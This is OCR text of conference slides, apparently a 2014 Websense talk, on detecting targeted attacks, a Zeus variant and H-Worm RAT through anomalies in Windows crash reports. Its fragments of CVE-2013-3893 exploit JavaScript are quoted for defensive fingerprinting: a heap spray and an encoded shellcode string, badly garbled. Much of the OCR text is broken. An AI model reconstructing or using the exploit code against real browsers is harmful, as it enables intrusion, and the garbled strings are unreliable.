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{ But there are also unknown
1 unknowns. There are things we don't

i know we don't know.”
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How can we detect and provide
visibility into attacks that have made
it past organizations defenses?
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Existing cyber security systems
are based on expert knowledge driving
analytics and signature-based defenses.
Really.

THIS APPROACH IS NOT SUFFICIENT
TO STOP TARGETED ATTACKS. =
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EVEN THE MOST ADVANCED CYBER ATTACKS CREATE
ANOMALIES IN NETWORK AND APPLICATION BEHAVIOR
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What if we could search
for anomalies in application
crash reports that are indicators
of attack activity?
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/ THERE ARE SEVERAL STAGES OF AN ATTACK
WHERE ATTACKERS ARE MORE LIKELY TO j

CRASH APPLICATIONS ON THE NETWORK
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Courtesy United Artists™ 1995
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HOW ARE MICROSOFT
MICROSOFT

WINDOWS ERROR REPORTS GENERATED? — RECEIVES BILLIONS
EACH YEAR

APP CRASH
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WHY WINDOWS ERROR REPORTING (WER)?

80 % of all network-connected PCs use WER — more than one billion endpoints worldwide.

‘I CRASH
million RE PO RTS

OVER A4 MONTH WINDOW
b @ T
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CRASHING APPLICRASGINNG APPLICATION VERSION:
Chrome 21.0.1453.116

http://watson.microsoft.com/StageOne/chrome_exe/27_0_1453_116/51bb9d8d/chro
me_dll/27_0_1453 116/51bb9c43/c0000005/005f1761.htm?LCID=1033&0S=6.1.76
01.2.00010300.1.0.3.17514&SM=Acer&SPN=Aspire%20M3970&BV=P01-A3&MRK=
1025 ACER_ACER_AM1930&MID=0513D3D-CBA4-2339-9ABC-ABCDEFABCDEF
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WHAT EXACTLY IS THE “CRASH OFFSET”:
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webksense

GOOGLE CHROME CRASH REPORT TO WATSON

@ Google Chrome

Problem

Stepped working

Description

Problem signature
Problem Event Mame:
Application Mame:
Application Version:
Application Timestamp:
Fault Module Mame:
Fault Module Version:

Exception Code:
Exception Offset:

Q5 Version:

Locale ID:

Additional Information 1:
Additional Information 2:
Additional Information 3:
Additional Information 4

Bucket ID:

Faulting Application Path:

Fault Module Timestamp:

Read our privacy statemnent online

@Uv|? v Control Panel » System and Security » Action Center » Problem Details

Date
7/1/201210:42 AM

C:\Program Files (x86)\Google\Chrome\Application\.chrome.exe

APPCRASH

chrome.exe

2701453116

51bb9dad

chrome.dll

2701453116

51bb9cd3

80000003

0051761

6.1.7601.21.0.256.4

1033

0a9e
0a9e372d3b4ad19135b953a78882789
0a9e
0a9e372d3b4ad191350953a78882789

Extra information about the problem

3657324574

Learn how to report problems and check for solutions automatically.
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/ WE CAN USE THESE CRASH REPORTS //j
T0 DETECT MALICIOUS ACTIVITY /}

SUCH AS EXPLOITS AND CODE INJECTION.
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RISK INDICATORS IN CRASH REPORTS

+ Crashes in key applications for businesses at high risk of attack
+ SCADA, Point of Sale, Telecom, Research, etc.

+ Fingerprints” for known exploits that detect application crashes according to application version,
DLL version, and crash offset locations of known CVEs.

+ Temporal anomalies, or clusters of crashes isolated to a company, industry or region
+ Indicators of code injection or ROP-based exploits

+ Microsoft's Bucketing Algorithm

+ Unusual faulting libraries

+ Crashes in widely deployed, commonly exploited applications
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PROVING IT

Creating a MSIE 0-Day
Fingerprint for CVE-2013-3893



APT USE OF CVE-2013-3893 --

UESTION: WHO ELSE HAS USED THIS ZERO-DAY?

else

block = pad.substringle, (Ox1212-8x24)/2);
block += rrrblock;
|blocks=xxvalue;
var b = 5{8x12121212);
while(b.length<@x10606) {
block = block + b;
b = block.substring(®, @8x10686/2);
while(b.length<ls) { besb;

var lh = b.substring(8,1s/2);

L

delete b;
delete pad;
L]
1 myonload()
if(llle.of fver()==""&&platxxxx==111e. WINDOWS_7)
return;
ifi{canI() 2)

return ;

var nnn;

ifi{ccaakk=@x50)
nnn=DisplayInfo(l);

else
nnn=DisplayInfo(8);

ifinnn>1)

return ;

r i=8;

vault=new Array();

str=5(6x12121262) ;

}
}
if(le.bok() && platform == le.WINDOWS 7)
{

yyvalue=ffsul0eb%kudb5b%iuco33%ub966%u02a7%u3480%ud fob%ufae2%ue5ebsuebes%buf f Fiulcf fRubf7bkucBe%uaccdiufb56%uee14%ul4a fEu93e9%uel4%u1483%u97¢c1
%suell4%ul4bisulead%u93e6%ud fackud fadsu70ea%ucc5%u76c1%u9dBB%uITIfHulect%sud f73%u9 FIc%u169 T%ud f36%ud fId%ul49su1476%uT562%uc693%u2877%u9f 9e%ku7dI fHul466%u9 fcasu
Sd1c%u749a%ucdbe%ud212%uf764%uf1fo%uafofsueaf7suf3edsuchf2%uldce%ucab%uy314%u9e59%ul6 f7%u9ecbsude59%uSc9a%uTdB0%u457 7%u6066%u1460%uf547%uC69e%ue277%u9f9e%uTd
9f%u1266%u9ela%udfoesuct9fsuafi75uafoesusn9 fsugbcasulalesudfe3xud fofsulbs8sugedasudfiesuedafsufleasussedsualbiudedaud fafsufleasutabl%ulbs8%u969asuafoesuerof
su9ffasufsafeufs9fieul29fiuselasug foesuctafsudal2suctabsuoffosucace%sufsatsuf7ofsudf1suafa feudcfs%usffo%uders%uaff7%uafofsul27fsudelasuafoesuctofesucanpsulcsbsy
6067%u1b90%u9f76%u9T9f%ulal6%uddatsud fofausff5%uaffo%udf f5%ub0cfsuB7 ca%udf f5%ulala%uddateuafafeusdo feub? ca%ulals:uddabsud fafeudbfs%usff7auaf8fauctofeudffskuca
60%u9493%u985f%u271b%ud fOf%u169 f%uf fla%u9d f9d%uf59fu129 fkua7la%kud fodsuc fofsulaldsuddabiud fofsuldcfhuf flasud fodsuc fofsulaldsuddatsud fofrubactsubfecasu2214%uddff
%u9 faf%ul214%u9dab%u9f9f%ul fd6%u90ab%su7dea%ul f65%ubaaB%udf F5%uaf F5%udf f5%ulal4%uddafiudfafiubbc fus7 cakud ff5%ulal2%udda7%ud f9f%ulicfRuablakud fodsuctofisulaldsu
9df faugfofEuldczuafla%uafodiucfofiucasesulsbbiuaflasud fodtucfIfsucate%ul483%u97 ca%usdlcsu749a%ucdaciud212%uc964%u1al4%u9T63%us 9 f%ula59%u9ed fauafafsussbdsugaf
1b%u9e94%u9f9f%ul2bd%uafla%u9fesucfafsulicesucapdsu7314%u9e59%uleT 75ugect%ude59%u5C9a%u7d60%uS 77 75U6060%U1460%u9T32%uafad%su149 f%ulc7a%u8773%uddacsuddacsugbls
%u1cbb%u9c5 fEu9ble%uachbsusd5faug fabsucacesuec14%uldadkuBlebsudce7%ucI6ckued14%u9ch fauactckud656%u32desus cIcHu7 2ac%u21908%ua58T%uebd 3%u5e97%uIB52%u759c%kuT4d fau
a46e%ueab®%ucl78%uf114%u9chb%uf974%ud314%u9 fd2%uf114%u9c83%ul474%u12db%u9c9 fHu345ckuc6c2%u775c%u627b%u6060%uebadsu938esuTdab%ulce2%ubbce%udeddsuc6 T8%us141%uls
fc %U0b7b%u21dc%u4433%ut9cB%u6092%ua92d%uBc90%u125b%ueb80%uBcl1%u3395%uec92%u6284%u491 f%u0530%ueb f7%ue feb%ubBas%uadbl%uafadsuadblsuabadisuadbl%uaTac
%uaeblzuacadiuebbsubdf1%ufofasufefesufoblsufeefsueeafsuflefsublfasue7 fa%uoffa%uoe9e";
if(le.offver()=="2007")
rrrblock=ConVertData("%udfefsuslclxudfefsuslclsudfofsuslclsudforesuslclsudforsuslclzudfefsuslclsudforsuslclsudfofsuslclsudfofsuslclsudfefs
u51c1%ud f6f%u51c1%udf6f%u51c1%ud f6fsus1c1%udf6 fauslc1%ud fofaus1c1%ud f6faus1c1%ud f6TEu51c1%udf6 faus1c1%ud fofsus1c1%ud 6 fus1c1%ud fofaus1cl%ud f6 fsus1c1%ud f6fus
1c1%udf6Ef%u51c1%udf6TRu51cl%udf6f%u51c1%udf6T%u51cl1%udbad®u51bf%su5b98%u51be%uceab®u51be%ul158%u51bd%u@98e%u51c3%ud fee%uS1clsul2da®sul 212%u1212%u1212%u1000%u608
0%uB0408%u0B880%uBaBC%u1212%ud 6 F%uS1cl%ud f6 fsu51c1%ud T6 f%u51cl%ud feT%u51cl%ud fofsu51c1%ud f6 F%u51c]1%ud fofRuS1cl%ud f6 f%us1c1%ud f6 f%u51cl%ud e f%uS1cl%ud fofsu51cls
udfefsuslcl”);

else
rrrblock=ConVertData("%ub376%u51c3%ub376%u51c3%ub376%u51¢3%ub376%u51c3%ub376%u51c3%ub376%u51c3%ub376%u5 1c3%ub376%u51c3%ub376%u51c3%ub376%|
u51c3%ub376%u51c3%ub376%u51c3%ub376%u51c3%ub376%u51c3%ub376%u51c3%ub376%u51c3%ub376%u51c3%ub376%u51c3%ub376%u51c3%ub376%u51c3%ub376%u51c3%ub376%u51c3%ub376%u5
1c3%ub376%u51c3%ub376%u51c3%ub376%u51c3%ub376%u51c3%ub4be%us51c2%udas1%u51be%kub46e%u51c2%u10b8%u5 1 bd%ued455%u51c0%ub376%u51c3%u7 1 f4%u51bd%ul2da%ul212%u1212%ul21
2%u1808%uB088%u0840%uBB08%uBaBc%u1212%ub376%u51c3%ub376%u51c3%ub376%u51c3%ub376%u51c3%ub376%u51c3%ub376%u51c3%ub376%u51c3%ub376%u51c3%ub376%u51c3%ub376%u51 c3%)
ub376%u51c3");

i
if(le.nine() && platform == le.WINDOWS 7)
I

* cap00l.pcap [Wireshark 1.8.1 [5VN Rev Unknown from unknown]]

141 33,359720

+168.179.188

nfo
168, DS 78 Standard query 95 A login.momoshop.org

webksense

142 33 472828

8.179.2

¥ 1132.168.179. 188
1192.188.179. 188

192.168.179.2

192,168.179.188 192,168.179.2
192.168.179.2 192,168,179, 188
192.160.173.2 192,168,175, 188

94 Standard query response 8wdS%S A 218.17.236.29

77 standard query 8x4379 A crl.microsoft.com

77 standard query 8x3717 A crl.microsoft.com

173 5tandard query response 9x3717 CNAME crl.wew.ms.akadns.net CNAME al363.g.akasai.net A 23.62.99.122 A 23.62.99.187
173 Standard query response 8x43739 CHAME crl.wew.ms.akndns.net CNAME all63.g.akemai.net A 23.62.99.187 A 23.62.93.122

W wrsc
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REVERSING THE EXPLOIT
CREATING A CRASH FINGERPRINT

Analyze CVE-2013-3893 and searching for the
location that a failed exploit would crash

ModLoad: 71250000 71a8f000 C:\WINDOWS\system32\mswsock.dll
ModLoad: 662b0000 66308000 C:\WINDOWS\system32\hnetcfg.dll
ModLoad: 71290000 71a98000 C:\WINDOWS\System32\wshtcpip.dll
Heap corruption detected at 12320000

Heap corruption detected at 12120018

Heap corruption detected at 11F20000

(228.10c): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.

eax=11f20000 ebx=00000000 ecx=11420000 edx=11920000 esi=11920000 edi=00150000
eip=7c929f09 esp=015dd090 ebp=015dd14ciopl=0 nv up ei pl nz ac pe cy

¢s=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000efl=00010217
ntdll!'towlower+0x517:

-.._,__\ (=
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http://ds:0023:11f20004=/

REVERSING THE EXPLOIT
CREATING A CRASH FINGERPRINT

We can find all of the information that would be included
in a WER report:

THIS IS OUR FINGERPRINT! =

lanalyze —v

PROCESS_NAME: iexplore.exe

WATSON STAGEONE URL:
http://watson.microsoft.com/StageOne/iexplore exe/8 0 6001 1
8702/49b3ad2e/ntdll dll/5 1 2600 6055/4d00f27d/c0000005/00

029f09.htm?Retriage=1

webksense =
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OUT OF 16 MILLION REPORTS,
5 MATCHED OUR FINGERPRINT

Tier-1 Mobile Network Operator
Industry: Telecommunications
Date: 12-16-2013

Crash 12-10- 2013 URL:

702/ntd|| d||/5 1 2600 6055/00029f09 htm?

Crash 12-16-2013 URL:

http://watson.microsoft.com/StageOne/iexplore exe/8 0 6001 18
702/ntdll dil/5 1 2600 6055/00029f09.htm?

webksense

= RSACONFERENCE2014




AUGMENTING THE ANOMALY WITH SECURITY INTEL:
SUSPICIOUS OUTBOUND CONNECTIONS FROM MNO

Digger

Click on any bar to filter resubts.

I T J T
12-10-2013 12-11-2013 12-12-2013 12-13-2013 12-14-2013 12-17-2013 01-07-2014

Date Industry

Services (309)
Wholesaia Trade (317)

2013/12/14 Governmant (312)
Unknawn (320)
Whalasala Trade (317)
Servics (308)

2013/12/13 Gowernmant (312)

weksense RSAC(SI'; EEFTE&EQOM




CONFIRMED H-WORM RAT BEACONING

Pipeline Detail Report

Threatnamas  GanericCall_Home Backchannel_TrafficATSS
Stages  Cail_Hame
Reasons  Badcchannel Traffic

industries  Services (309)
‘Wholesale Trade (317)

Dats  2013/12/10
Total Hits 106

’——’
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HOUDINI H-WORM RAT

ADDITIONAL RISK INDICATORS

—
L A -

Pipeline Detail Report

Top S Affected industries by Date

AR R EEE SR

Digger

Click on any bar to filter results.

W wec

webksense




A SECOND TARGET-

Government Agency also infected with H-Worm RAT

Pipeline Detail Report

Digger 10205 0 R o)

redecno-ipinfo
41965737
419699216
fis-ready

Kane

Clck on any bar to iher resuls. -]
5

Uris with non-security categories: 0

Uirls with rlsk categories:

Urls with security categories: 0

Dy DS (212) (3)

Analyic Flag (199) (2)

Generic {18309)

Genaric.Call_Home Backehannel_Traffic ATSS
Call_Home

Backchannal_Traffic

12-31-2013 01102014

Government (312)
Unknown (320)
Date Industry Haalthcara (315)
2013/12/31 redex.no-ipinto ‘Gowernment (312)
Unlcnown (320
Healthcars (315)

01311231
79

2014/01/10 hamdi21.nop.Info Government (312}
Unknown (320)
Healthcare (315)

weksense 26 RSACONFERENCE2014




CRASH LOGS CAN IDENTIFY ADVANCED THREATS

+ When crash telemetry identifies
anomalous behavior...

+ ... and we validate those anomalies
with additional security context...

+ These items validate that crash reports
can be an indicator of advanced attacks
and can be used to identify threats that
have made it past existing security
measures undetected.

webksense

= RSACONFERENCE2014




Allyour base
are belong
to us.
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CRASH ANOMALIES
TO FIND PREVIOUSLY
UNKNOWN ATTACKS

AGAINST BUSINESS

APPLICATIONS

e

W e
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AN ANOMALY-BASED PERSPECTIVE ON POS MALWARE

+ Data breaches of retail organizations have dominated the news.

weksense ACON FERENCE2014




AN ANOMALY-BASED PERSPECTIVE ON POS MALWARE

"2013/08/18", "http://watson-micreseft-con/StageOne/pos_exe/2 8 60 0/517144a4/ntdll d11/5 1 2600 6055/4d00£27d4/0/0000100b.him?",
"2013/11/25", "http://watson -mi rosoft-ggm/StageOne/pos_exe/E_E_G4_D/pos_exe/2_8_64_0/DDDEC%%a.Q@m?{

"2013/11/25", "http://watson-micresnft.con/Stagedne/pos_exe/2 8 64 0O/pos exe/2 8 64 0/000fcdda.him?",

"2013/11/25", "http://watson-micresaft-com/Stagetne/pos_exe/2 8 64 0/524179b1/pos exe/2 8 64 0/524178b1/40000015/00103dd3 . him?", i
"2013/11/25", "http://Wataon-micresaft.com/StageOne/pos_esxe/2 8_64_0/524179b1/pos_exs/2 8_64_0/524179b1/40000015/00103dd3 . him?",
"2013/11/25", "http://wataon-micresoft.-con/StageOne/pos_exe/2 8 64 0/524175bl/pos_exe/2 8 64 0/524175b1/c0000005/000397£2 . him?",
"2013/11/25", "http://watson-micresaft-com/StageOne/pos_exe/2 8 64 0/524179b1/pos exe/2 B 64 0/524175b1/c0000005/000397£2 . him?",
"2013/11/26", "http://wakson -micEesofl-com/StageOne/pos_exe/2 8 51 0/504ef82e/0le32 dl1l/6 1 7601 17514/4ce7b96£/c0000005/000db301. htm?",
"2013/11/26", "http://watson.microsoft.com/Stageone/pos_exe/2 8 51 0/504ef82e/pos_exe/2 8 51 _0/504e£82e/c0000005/000d7991. him?™,
"2013/11/26", "http://watson-micresoft-con/StageOne/pos_exe/2 8 51 0/504ef82e/pos_exe/2 8B 51 0/504ef82e/c0000005/000d7951 . .him?",
"2013/11/26","http://w@&;@@-m@ggg;gﬁ;.ggm/StageOne/Generic/hppHangBlfpos_exe/2_8_5l_D/504eEEEe/5E39/23D4.gxm?";
"2013/11/28","http://watson.ma roaoft-g;gm/StageOne/pos_exe/E_E_G4_0/5241'? 9bl/mscorwks_dll/2_0_5072?‘_547‘2/517‘ 4dde9,/c0000005/001372¢6a.. hEm?", |
"2013/11/25", "http://watson-micresoft-con/StageOne/pos_exe/2 8 64 0/524175bl/ntdll d11/5 1 2600 _6055/4d00£27d4/0/ DDDDlDDb.m?",. 5
"2013/12/02", "http://wakaon-mistoseft.com/StageCne/Generic/AppHangBl/pos_exe/2 8 64 0/524179b1/479f/262400.htm?", :
“2013/12/03","http://g@&é@@-m;g;gﬁggg.ggm/StageOne/Generic/hppHangBl/pos_exe/E_E_GD_D/Sl?l44a4/DDDD/ESG.g;m?";
"2013/12/03", "http://watson.-migresoft.con/StageOne/pos_exe/2 8 60 _0/517144ad4/mscorwks_dl11/2 0_50727_5472/5174dde5/c0000005/0013726a.htm?" |

weksense RSACONFERENCE2014




AUGMENTING OUR ANOMALIES WITH SECURITY INTEL

Digger

Click on any bar to filtter results.
Execution Time: 271% ms
Total Hits: 1716

-
g
g
£

hackedirag.na
ytracitional nes
ww. Lyunad com
nediagiayer. net
&, Synonym. com

widnows, net
dirvers.ned

94.75.201.36
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SPIKES IN ACTIVITY ON THE SAME DAYS AS THE CRASHES

websense 33 ACON FERENCE2014




UMMM, YOU FOUND ZEUS? NAP TIME...

weksense RSACONFERENCE2014



LOOKS LIKE TYPICAL ZEUS C&C TRAFFIC

e /sadcxvbv/vdfbffddf.php
e /sadcxvbv/fgfvsada.php

Pipeline Detail Report

Top 5 Affected Industries by Date

3.0-
Finance, Insurance & real estate [l

Wholesale Trade [l
Services

1.5-
1.0~
- |“|“
0.0 g i
£

E R B8 B £ /R B o4
- & E : & 3
= L= =] * =

4 M M F =]

=]

’——4
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ANOMALY DETECTION CAN FIND THE
UNKNOWN THREAT

+ Gathering crash data for a process specific to an industry...
+ Again applying security context to the data...

+ We were able to identify anomalous crashes occurring outside of

memory space...

+ Which lead us to identify a previously unreported, targeted attack

against a retailer...

+ ... and identify a new variant of Zeus, presumably targeting POS
systems
weksense -

RSACONFERENCE2014




NEXT STEPS...

+ Research anomalies in other critical and high risk
business applications

¢ SCADA systems

¢ Cellular core networks
+ Banking systems

*

e

37 ACONFERENCEZOM
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HOW CAN YOU APPLY
THESE FINDINGS?



INFORMATION SHARING IS THE KEY

+ Think about anomaly detection as part of your security strategy

+ Download lookup tables and example SIEM queries to examine
crash reports yourself

+ http://Iwww.websense.com/DrWatsonGITHUB

websense 39 ACONFERENCEZOM



http://www.websense.com/DrWatsonGITHUB
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THANK YOU
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